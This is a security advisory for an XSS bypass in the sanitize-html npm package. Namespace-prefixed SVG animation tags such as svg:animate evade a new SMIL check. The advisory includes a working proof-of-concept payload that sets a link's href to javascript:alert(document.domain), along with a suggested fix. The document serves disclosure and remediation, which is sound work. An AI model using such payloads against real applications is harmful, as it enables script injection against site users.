PT-2026-120291 · Npm · Sanitize-Html
Publicado
2026-10-20
·
Atualizado
2026-10-20
CVSS v3.1
3.7
Baixa
| Vetor | AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N |
Summary
sanitize-html 2.17.7 introduced
animatesUrlAttribute() to block SVG animation elements (animate, animateColor, animateMotion, animateTransform, set) when their attributeName targets a URL sink like href. However, this check is bypassed when the animation element uses a namespace prefix (e.g., svg:animate instead of animate).Root Cause
The
animatesUrlAttribute function (index.js, line ~832) checks svgAnimationTags.indexOf(name.toLowerCase()), where svgAnimationTags contains bare local names: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 passes namespace-prefixed tag names verbatim, so svg:animate does not match animate in the array, causing the function to return false and skip the SMIL XSS protection.Ironically, the function already handles namespace prefixes correctly for the
attributeName target value (line ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — but this same stripping was not applied to the tag name itself.Proof of Concept
javascript
const sanitizeHtml = require("sanitize-html");
const config = {
allowedTags: false,
allowedAttributes: false,
allowedSchemes: ["http", "https"]
};
// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
`<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED
// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
`<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASSAll 5 SMIL animation elements are bypassable with any namespace prefix (
svg:, xlink:, xml:, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.Impact
Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses
allowedTags: false (common in rich-text editors that want to preserve SVG), an attacker can inject <svg:animate attributeName="href" values="#safe;javascript:..." .../> to override the href attribute of a parent <a> element after the page loads, causing the link to execute JavaScript when clicked.Suggested Fix
Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:
javascript
// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {
// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {Affected Versions
sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.
Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
Correção
XSS
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Sanitize-Html